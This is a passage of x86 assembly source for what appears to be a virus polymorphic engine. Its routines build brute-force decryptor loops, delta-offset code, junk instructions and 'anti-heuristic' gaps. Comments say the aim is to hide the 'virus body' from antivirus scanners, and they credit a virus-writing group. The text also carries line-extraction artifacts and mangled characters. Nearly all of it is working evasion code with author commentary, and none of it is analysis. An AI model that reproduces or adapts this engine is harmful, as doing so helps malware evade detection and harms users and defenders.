test byte ptr [esi],80h ;forward and back now ?
|
|||
|
jz __mlg_fback
|
|||
|
dec edi
|
|||
|
jmp __mlg_fback
|
|||
|
__mlg_back:
|
|||
|
test byte ptr [esi],80h ;back and forward now ?
|
|||
|
jnz __mlg_fback
|
|||
|
inc edi
|
|||
|
__mlg_fback:
|
|||
|
dec edx ;next movement
|
|||
|
jnz __mlg_next_byte
|
|||
|
|
|||
|
; generate the 5th number of CRC-getting
|
|||
|
__pbi_again:
|
|||
|
mov eax,00DFFFFFh ;maximum searching number
|
|||
|
call ppe_get_rnd_range
|
|||
|
cmp eax,10000h
|
|||
|
jb __pbi_again
|
|||
|
mov [ebp+__pbi_last_num],eax
|
|||
|
sub ebx,eax
|
|||
|
mov [ebp+__pbi_add_num],ebx
|
|||
|
|
|||
|
; restore all registers
|
|||
|
add esp,00000008h
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
__mlg_gen_max_movement_without_test:
|
|||
|
mov eax,00000080h ;generate <0,128) number
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al
|
|||
|
jz __mlg_gen_max_movement_without_test
|
|||
|
ret
|
|||
|
|
|||
|
__mlg_gen_max_movement:
|
|||
|
call __mlg_gen_max_movement_without_test
|
|||
|
cmp ebx,[ebp+file_size2]
|
|||
|
jz __mlg_gmm_failed
|
|||
|
push eax ;i haven't any empty reg
|
|||
|
add eax,ebx
|
|||
|
cmp eax,[ebp+file_size2] ;EBX+EAX > file_size2 ?
|
|||
|
pop eax ;if yes, generate other
|
|||
|
ja __mlg_gen_max_movement ;number
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__mlg_gmm_failed equ $-1
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ brute-attack engine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Welcome to my brute-attack engine in poly-decoding loop.
|
|||
|
;At first I generate five valuez and their checksum, then
|
|||
|
;I'll store that checksum and I will find right five value
|
|||
|
;by its checksum. Maximal value of 5th number is 0xDFFFFF.
|
|||
|
;This number I'll find per 0.82 second on P233. And I know
|
|||
|
;it's very good result.
|
|||
|
;
|
|||
|
;I would like to thank Darkman/29A for his:
|
|||
|
; * "RDEA" article in 29A #3 issue
|
|||
|
; * ideas and theory
|
|||
|
;
|
|||
|
;This function is only for you... your ideas...
|
|||
|
;
|
|||
|
;
|
|||
|
__pbi_nums dd 4 dup(0) ;global numbers
|
|||
|
__pbi_last_num dd 00000000h ;last number
|
|||
|
__pbi_add_num dd 00000000h ;absolute number
|
|||
|
__pbi_start_crc dd 00000000h ;startup checksum
|
|||
|
__pbi_last_crc dd 00000000h ;finishing checksum
|
|||
|
__pbi_regs db 3 dup(0) ;three registers
|
|||
|
;
|
|||
|
ppe_brute_init:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; change "poly_start" value
|
|||
|
mov edi,[ebp+mem_address]
|
|||
|
add edi,[ebp+file_size3] ;new position
|
|||
|
mov [ebp+poly_start],edi ;file_size + 3rd loop
|
|||
|
|
|||
|
; generate four numbers
|
|||
|
mov ecx,00000004h ;four numbers
|
|||
|
__pbi_next_number:
|
|||
|
call ppe_get_rnd32 ;generate random number
|
|||
|
mov [ebp+__pbi_nums+ecx*4-4],eax
|
|||
|
loop __pbi_next_number
|
|||
|
|
|||
|
; calculate some checksums...
|
|||
|
xor ecx,ecx ;counter
|
|||
|
xor eax,eax ;calculate register
|
|||
|
__pbi_calculate:
|
|||
|
add eax,[ebp+__pbi_nums+ecx*4]
|
|||
|
rol eax,01h
|
|||
|
xor eax,0ACD78FA3h
|
|||
|
inc ecx ;next number
|
|||
|
cmp ecx,00000004h ;ECX == numbers - 1 ?
|
|||
|
jnz __pbi_cfinish
|
|||
|
mov [ebp+__pbi_start_crc],eax ;save that value
|
|||
|
__pbi_cfinish:
|
|||
|
cmp ecx,00000005h
|
|||
|
jnz __pbi_calculate
|
|||
|
mov [ebp+__pbi_last_crc],eax ;save checksum
|
|||
|
|
|||
|
; generate three needed registers
|
|||
|
mov ecx,00000003h ;three registers
|
|||
|
__pbi_next_register:
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __reg_to_bcd
|
|||
|
mov [ebp+__pbi_regs+ecx-1],al
|
|||
|
or [ebp+used_regs],ah
|
|||
|
loop __pbi_next_register
|
|||
|
|
|||
|
; generate old and new checksum
|
|||
|
call gen_garbage ;use old checksum it means
|
|||
|
mov eax,[ebp+__pbi_start_crc] ;without last right value
|
|||
|
mov bl,[ebp+__pbi_regs] ;the first register
|
|||
|
call ppe_crypt_value
|
|||
|
call gen_garbage ;and use finishing crc
|
|||
|
mov eax,[ebp+__pbi_last_crc]
|
|||
|
mov bl,[ebp+__pbi_regs+01h] ;the second register
|
|||
|
call ppe_crypt_value
|
|||
|
call gen_garbage
|
|||
|
xor eax,eax ;calculating register
|
|||
|
mov bl,[ebp+__pbi_regs+02h] ;the third register
|
|||
|
call ppe_crypt_value
|
|||
|
|
|||
|
; own algorithm
|
|||
|
push edi ;startup address
|
|||
|
mov al,40h
|
|||
|
or al,[ebp+__pbi_regs] ;old_reg++
|
|||
|
stosb
|
|||
|
mov ah,[ebp+__pbi_regs+02h] ;mov calc_reg,old_reg
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+__pbi_regs] ;old reg
|
|||
|
or ah,0C0h
|
|||
|
mov al,8Bh ;MOV instruction
|
|||
|
stosw
|
|||
|
mov ax,0C0D1h ;rol calc_reg,01h
|
|||
|
or ah,[ebp+__pbi_regs+02h]
|
|||
|
stosw
|
|||
|
mov ax,0F081h ;xor reg32,imm32
|
|||
|
or ah,[ebp+__pbi_regs+02h]
|
|||
|
stosw
|
|||
|
mov eax,0ACD78FA3h ;special value
|
|||
|
stosd
|
|||
|
mov ah,[ebp+__pbi_regs+02h]
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+__pbi_regs+01h]
|
|||
|
or ah,0C0h
|
|||
|
mov al,3Bh
|
|||
|
stosw
|
|||
|
mov ax,850Fh ;JNZ identification
|
|||
|
stosw
|
|||
|
pop eax ;"go back" offset
|
|||
|
sub eax,edi
|
|||
|
sub eax,4
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov byte ptr [ebp+used_regs],00h
|
|||
|
mov al,[ebp+code_reg] ;code register
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
xchg ah,al
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+__pbi_regs]
|
|||
|
or ah,0C0h
|
|||
|
mov al,8Bh ;mov code_reg,reg32
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
mov ax,0E881h ;sub code_reg,start_crc
|
|||
|
or ah,[ebp+code_reg]
|
|||
|
stosw
|
|||
|
mov eax,[ebp+__pbi_start_crc]
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov ax,0C081h ;ADD instruction
|
|||
|
or ah,[ebp+code_reg]
|
|||
|
stosw
|
|||
|
mov eax,[ebp+__pbi_add_num]
|
|||
|
stosd
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate code to get delta-address <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function gets delta. Useful forr "g_repeat", and all
|
|||
|
;calls and jmps garbages, for all iluzo jumps and so on...
|
|||
|
;
|
|||
|
__ppe_gd_call dd 00000000h
|
|||
|
;
|
|||
|
ppe_get_delta:
|
|||
|
|
|||
|
; save registers
|
|||
|
pusha
|
|||
|
|
|||
|
; prepare CALL
|
|||
|
call gen_garbage
|
|||
|
mov al,0E8h
|
|||
|
stosb
|
|||
|
stosd
|
|||
|
mov [ebp+__ppe_gd_call],edi
|
|||
|
push edi
|
|||
|
call ppe_gen_rnd_block
|
|||
|
mov eax,edi
|
|||
|
pop esi
|
|||
|
sub eax,esi
|
|||
|
mov dword ptr [esi-00000004h],eax
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; now, we must active the global index register
|
|||
|
mov al,[ebp+gl_index_reg2]
|
|||
|
mov [ebp+gl_index_reg],al
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
mov byte ptr [ebp+compare_index],00h
|
|||
|
|
|||
|
mov al,58h
|
|||
|
or al,byte ptr [ebp+gl_index_reg]
|
|||
|
stosb ;POP base-reg32
|
|||
|
call gen_garbage_no_flags ;'cause delta isn't finished
|
|||
|
|
|||
|
; we must fix real address
|
|||
|
mov eax,[ebp+__ppe_gd_call]
|
|||
|
sub eax,[ebp+mem_address]
|
|||
|
sub eax,[ebp+file_size3]
|
|||
|
push eax
|
|||
|
|
|||
|
; ADD or SUB ?
|
|||
|
call ppe_get_rnd32
|
|||
|
and al,1
|
|||
|
jz __ppe_gd_sub
|
|||
|
|
|||
|
; fix with ADD --> add reg32, fix_value
|
|||
|
mov ax,0C081h
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
stosw
|
|||
|
pop eax
|
|||
|
neg eax
|
|||
|
jmp __ppe_gd_fix_done
|
|||
|
|
|||
|
; fix with SUB --> sub reg32, -fix_value
|
|||
|
__ppe_gd_sub:
|
|||
|
mov ax,0E881h
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
stosw
|
|||
|
pop eax
|
|||
|
|
|||
|
__ppe_gd_fix_done:
|
|||
|
stosd
|
|||
|
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate layer gaps (anti-heuristic) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function adds some gaps in multi-layers buffer. What
|
|||
|
;does it mean, gaps ? So, you will generate layers map by
|
|||
|
;"ppe_mlayer_generate" function. There are only movements
|
|||
|
;and AV can find that buffer and do all alone, but here I
|
|||
|
;will generate some gaps, and when my poly find certain
|
|||
|
;offset in that buffer, i'll add some value = anti-heuris-
|
|||
|
;tic. All is hiden by "ppe_crypt_value" as well.
|
|||
|
;
|
|||
|
;Behaviour:
|
|||
|
; * get number of gaps
|
|||
|
; * generate their position and size in layer buffer
|
|||
|
; * run "bubble sort" algorithm
|
|||
|
; * do gaps in buffer (generate random movement)
|
|||
|
; * change positions
|
|||
|
;
|
|||
|
__pglg_num dd 00000000h ;number of gaps
|
|||
|
__pglg_where dd 8 dup(0,0) ;gaps, their size
|
|||
|
;
|
|||
|
ppe_get_layer_gaps:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; negate all movements
|
|||
|
mov ecx,[ebp+__mlg_size] ;number of movements
|
|||
|
mov esi,[ebp+__mlg_map]
|
|||
|
__pglg_negate:
|
|||
|
mov ah,[esi]
|
|||
|
btc ax,15 ;negate 7th bit
|
|||
|
mov [esi],ah
|
|||
|
inc esi
|
|||
|
loop __pglg_negate
|
|||
|
|
|||
|
; exchange all movements (from end 2 start)
|
|||
|
mov ecx,[ebp+__mlg_size]
|
|||
|
mov esi,[ebp+__mlg_map]
|
|||
|
__pglg_exchange:
|
|||
|
mov al,[esi+ecx-1]
|
|||
|
xchg al,[esi]
|
|||
|
mov [esi+ecx-1],al
|
|||
|
dec ecx
|
|||
|
dec ecx
|
|||
|
inc esi
|
|||
|
cmp ecx,00000002h
|
|||
|
jae __pglg_exchange
|
|||
|
|
|||
|
; generate random gaps
|
|||
|
mov eax,00000009h ;number of gaps - 1
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov [ebp+__pglg_num],eax ;actual gaps
|
|||
|
or eax,eax ;no gaps ?
|
|||
|
jz __pglg_finish
|
|||
|
mov edx,eax
|
|||
|
|
|||
|
__pglg_next_gap:
|
|||
|
mov eax,[ebp+__mlg_size] ;memory buffer size
|
|||
|
call ppe_get_rnd_range
|
|||
|
or eax,eax ;don't support 1st place
|
|||
|
jz __pglg_next_gap
|
|||
|
mov [ebp+__pglg_where+edx*8-8],eax ;save position
|
|||
|
mov eax,00000010h ;<0,10h) gap
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax ;this was fucking bug
|
|||
|
mov [ebp+__pglg_where+edx*8-4],eax ;and its size
|
|||
|
dec edx ;next gap
|
|||
|
jnz __pglg_next_gap
|
|||
|
cmp [ebp+__pglg_num],00000001h
|
|||
|
jz __pglg_moving
|
|||
|
|
|||
|
; use "bubble sort"
|
|||
|
mov ebx,[ebp+__pglg_num] ;for(x=7;x<=1;x--)
|
|||
|
mov ecx,ebx ;for(y=8-x;y<=1;y--)
|
|||
|
dec ecx ;if(p[y]>p[y-1]){
|
|||
|
__pglg_bagain: ;x=p[y+1];p[y+1]=p[y]
|
|||
|
mov edx,ebx ;p[y]=x}
|
|||
|
sub edx,ecx
|
|||
|
__pglg_bnext: ;...and it's all :)
|
|||
|
mov eax,[ebp+__pglg_where+edx*8]
|
|||
|
cmp eax,[ebp+__pglg_where+edx*8-8]
|
|||
|
ja __pglg_bno_change
|
|||
|
xchg eax,[ebp+__pglg_where+edx*8-8]
|
|||
|
mov [ebp+__pglg_where+edx*8],eax
|
|||
|
__pglg_bno_change:
|
|||
|
dec edx
|
|||
|
jnz __pglg_bnext
|
|||
|
dec ecx
|
|||
|
jnz __pglg_bagain
|
|||
|
|
|||
|
; it's time to do some place in the buffer
|
|||
|
__pglg_moving:
|
|||
|
mov edx,[ebp+__pglg_num] ;number of gaps
|
|||
|
__pglg_next_moving:
|
|||
|
mov ecx,[ebp+__mlg_size] ;buffer's size
|
|||
|
mov esi,[ebp+__pglg_where+edx*8-8] ;position
|
|||
|
sub ecx,esi
|
|||
|
add esi,[ebp+__mlg_map] ;memory layers map
|
|||
|
mov edi,[ebp+__pglg_where+edx*8-4] ;gap size
|
|||
|
add ecx,edi
|
|||
|
add edi,esi ;destination place
|
|||
|
push esi
|
|||
|
call __movsd_back
|
|||
|
mov ecx,[ebp+__pglg_where+edx*8-4]
|
|||
|
pop edi ;do some random movement
|
|||
|
push ecx
|
|||
|
mov bl,[edi] ;get last bit (+/-) ?
|
|||
|
__pglg_generate:
|
|||
|
call ppe_get_rnd32 ;generate that...
|
|||
|
bt bx,7 ;to (C)arry
|
|||
|
jc __pglg_2nd
|
|||
|
and al,01111111b
|
|||
|
jmp __pglg_1st
|
|||
|
__pglg_2nd:
|
|||
|
or al,10000000b ;set last bit
|
|||
|
__pglg_1st:
|
|||
|
stosb ;...and store one
|
|||
|
loop __pglg_generate
|
|||
|
pop ecx
|
|||
|
|
|||
|
; well, build next anti-heuristic...
|
|||
|
add [ebp+__mlg_size],ecx ; + gap size
|
|||
|
dec edx
|
|||
|
jnz __pglg_next_moving
|
|||
|
|
|||
|
; change positions
|
|||
|
xor eax,eax
|
|||
|
__pglg_cpos:
|
|||
|
mov ebx,[ebp+__pglg_num] ;this was last fucking bug,
|
|||
|
dec ebx ;belive me, it's needless
|
|||
|
cmp edx,ebx ;to explain something :)
|
|||
|
jz __pglg_finish
|
|||
|
inc edx
|
|||
|
add eax,[ebp+__pglg_where+edx*8-4]
|
|||
|
add [ebp+__pglg_where+edx*8],eax
|
|||
|
jmp __pglg_cpos
|
|||
|
|
|||
|
__pglg_finish:
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate code to set index for decode-loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function gets start of virus body to reg32.
|
|||
|
;
|
|||
|
ppe_get_index:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; crypt a start of decoding
|
|||
|
mov al,[ebp+index_reg]
|
|||
|
movzx ebx,al
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
mov eax,-1 ;start of decoding...
|
|||
|
call ppe_crypt_value ;go !
|
|||
|
lea ebx,[ebp+tbl_regs+ebx*02h]
|
|||
|
call __copro_fix_delta
|
|||
|
|
|||
|
; go back
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate layer pointer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generates pointer to a layers memory map.
|
|||
|
;
|
|||
|
;
|
|||
|
__pglp_old_val dd 00000000h ;old random value
|
|||
|
__pglp_ov_where dd 00000000h ;pointer to update
|
|||
|
;
|
|||
|
ppe_get_layer_pointer:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; generate random pointer for layers map
|
|||
|
call gen_garbage
|
|||
|
call ppe_get_rnd32
|
|||
|
mov [ebp+__pglp_old_val],eax
|
|||
|
mov bl,[ebp+mlayer_reg]
|
|||
|
call ppe_crypt_value
|
|||
|
mov al,[ebp+mlayer_reg]
|
|||
|
call __reg_to_bcd
|
|||
|
or [ebp+used_regs],ah
|
|||
|
or al,0C0h ;ADD instruction
|
|||
|
mov ah,81h
|
|||
|
xchg ah,al
|
|||
|
stosw
|
|||
|
mov [ebp+__pglp_ov_where],edi
|
|||
|
stosd
|
|||
|
mov al,03h ;ADD instruction
|
|||
|
mov ah,byte ptr [ebp+mlayer_reg]
|
|||
|
shl ah,3
|
|||
|
or ah,byte ptr [ebp+gl_index_reg]
|
|||
|
or ah,0C0h
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; restore registers
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to build brute-multi-layer-poly decoder <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generates the very perfect decryptor.
|
|||
|
;Scheme:
|
|||
|
;
|
|||
|
; @@1: ROR code_reg, 01h
|
|||
|
; (ADD,SUB,XOR) [index_reg], code_reg
|
|||
|
; DEC index_reg
|
|||
|
; TEST [mlayer_reg], 80h
|
|||
|
; JNZ @@2
|
|||
|
; INC index_reg
|
|||
|
; INC index_reg
|
|||
|
; @@2: DEC byte ptr [mlayer_reg]
|
|||
|
; TEST [mlayer_reg], 7Fh
|
|||
|
; JNZ @@1
|
|||
|
; TEST BYTE PTR [mlayer_reg],80h
|
|||
|
; JNZ @@3
|
|||
|
; TEST BYTE PTR [mlayer_reg+1],80H
|
|||
|
; JZ @@4
|
|||
|
; DEC index_reg
|
|||
|
; JMP @@4
|
|||
|
; @@3: TEST BYTE PTR [mlayer_reg+1],80H
|
|||
|
; JNZ @@4
|
|||
|
; INC index_reg
|
|||
|
; @@4:
|
|||
|
;
|
|||
|
;And it is whole decryptor, very easy to understand... :)
|
|||
|
;
|
|||
|
ppe_decoder:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; build sado-maso decoder :)
|
|||
|
push edi ;"go back" offset
|
|||
|
mov [ebp+decoder_back],edi
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; rotate by code_reg
|
|||
|
mov ax,0C8D1h ;ROR code_reg, 01h
|
|||
|
or ah,[ebp+code_reg]
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; select type of coding (ADD, SUB, XOR) ?
|
|||
|
mov al,00h ;ADD instruction
|
|||
|
cmp byte ptr [ebp+crypt_style],02h
|
|||
|
jz __pd_xor
|
|||
|
cmp byte ptr [ebp+crypt_style],01h
|
|||
|
jnz __pd_select_regs
|
|||
|
mov al,28h ;SUB instruction
|
|||
|
jmp __pd_select_regs
|
|||
|
__pd_xor:
|
|||
|
mov al,30h ;XOR instruction
|
|||
|
__pd_select_regs:
|
|||
|
mov ah,[ebp+code_reg] ;code register
|
|||
|
shl ah,03h
|
|||
|
or ah,[ebp+index_reg] ;index register
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; change index register
|
|||
|
mov al,48h ;DEC instruction
|
|||
|
or al,[ebp+index_reg] ;index register
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; move down or up ? (+/-) flag
|
|||
|
mov ax,00F6h ;TEST byte [mlayer_reg],80h
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov al,80h ;test last byte
|
|||
|
stosb
|
|||
|
call gen_garbage_no_flags
|
|||
|
|
|||
|
; build JNZ conditional jump (jump if DOWN)
|
|||
|
mov ax,850Fh ;JNZ instruction
|
|||
|
stosw
|
|||
|
push edi
|
|||
|
stosd ;do place
|
|||
|
call gen_garbage
|
|||
|
mov al,40h ;INC index register
|
|||
|
or al,[ebp+index_reg]
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
pop ebx ;JNZ offset
|
|||
|
call gen_garbage
|
|||
|
mov eax,edi ;build JNZ offset
|
|||
|
sub eax,ebx
|
|||
|
sub eax,4
|
|||
|
mov [ebx],eax
|
|||
|
|
|||
|
; decrease number of movements in layer buffer
|
|||
|
mov ax,08FEh ;DEC byte ptr [---]
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; test whether it was last coding, if yes, next movement
|
|||
|
mov ax,00F6h ;TEST byte [mlayer_reg],7Fh
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov al,7Fh ;test "x0000000b" status
|
|||
|
stosb
|
|||
|
call gen_garbage_no_flags
|
|||
|
|
|||
|
; build next conditional JNZ jump
|
|||
|
mov ax,850Fh ;JNZ instruction
|
|||
|
stosw
|
|||
|
pop eax
|
|||
|
sub eax,edi
|
|||
|
sub eax,4
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; generate a lot of TEST instructions and JNZ/JZ cond. jumps
|
|||
|
mov ax,00F6h ;TEST byte [mlayer_reg],80h
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov al,80h
|
|||
|
stosb
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,850Fh ;JNZ instruction
|
|||
|
stosw
|
|||
|
push edi
|
|||
|
stosd ;update later
|
|||
|
call gen_garbage
|
|||
|
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov ax,8001h
|
|||
|
stosw
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,840Fh ;JZ instruction
|
|||
|
stosw
|
|||
|
push edi
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov al,48h ;DEC instruction
|
|||
|
or al,[ebp+index_reg]
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
mov al,0E9h ;JMP instruction
|
|||
|
stosb
|
|||
|
push edi
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov ebx,[esp+00000008h] ;@@3 update address
|
|||
|
mov eax,edi
|
|||
|
sub eax,ebx
|
|||
|
sub eax,00000004h
|
|||
|
mov [ebx],eax
|
|||
|
mov ax,40F6h ;TEST byte [mlayer_reg+1],80h
|
|||
|
or ah,[ebp+mlayer_reg]
|
|||
|
stosw
|
|||
|
mov ax,8001h
|
|||
|
stosw
|
|||
|
call gen_garbage_no_flags
|
|||
|
mov ax,850Fh ;JNZ instruction
|
|||
|
stosw
|
|||
|
mov [esp+00000008h],edi
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
mov al,40h ;INC instruction
|
|||
|
or al,[ebp+index_reg]
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
mov ecx,00000003h
|
|||
|
__pd_update_cjumps:
|
|||
|
pop ebx ;get @@4 conditional jump
|
|||
|
mov eax,edi
|
|||
|
sub eax,ebx
|
|||
|
sub eax,00000004h
|
|||
|
mov [ebx],eax
|
|||
|
loop __pd_update_cjumps
|
|||
|
|
|||
|
; restore all registers
|
|||
|
mov [esp],edi
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate next code value <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function updates code value by code_value_add.
|
|||
|
;
|
|||
|
|
|||
|
ppe_get_next_code:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; calculate next code value
|
|||
|
mov ax,0C081h ;ADD code_reg,code_value_add
|
|||
|
or ah,[ebp+code_reg]
|
|||
|
stosw
|
|||
|
mov eax,[ebp+code_value_add]
|
|||
|
stosd
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; restore all registers
|
|||
|
mov [esp],edi ;update EDI through POPA
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to check multi-layers gaps <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether pointer is in gap (anti-heu-
|
|||
|
;stistic). If it's on that place then i'll change pointer.
|
|||
|
;
|
|||
|
__pgnlp_old dd 8 dup(0,0) ;old random numbers
|
|||
|
;
|
|||
|
ppe_get_next_layer_pointer:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; increase multi-layer pointer
|
|||
|
call gen_garbage
|
|||
|
mov al,40h ;INC instruction
|
|||
|
or al,[ebp+mlayer_reg]
|
|||
|
stosb
|
|||
|
call gen_garbage
|
|||
|
|
|||
|
; generate some random numbers
|
|||
|
mov ecx,[ebp+__pglg_num] ;number of gaps
|
|||
|
or ecx,ecx ;no gaps ?
|
|||
|
jz __pgnlp_finish
|
|||
|
__pgnlp_get_nums:
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov bl,al ;empty reg to BL
|
|||
|
call ppe_get_rnd32
|
|||
|
mov [ebp+__pgnlp_old+ecx*8-8],eax
|
|||
|
call ppe_crypt_value
|
|||
|
mov ax,0C081h ;ADD instruction
|
|||
|
or ah,bl
|
|||
|
stosw
|
|||
|
mov [ebp+__pgnlp_old+ecx*8-4],edi ;save pos.
|
|||
|
stosd
|
|||
|
mov al,03h ;ADD instruction
|
|||
|
mov ah,bl
|
|||
|
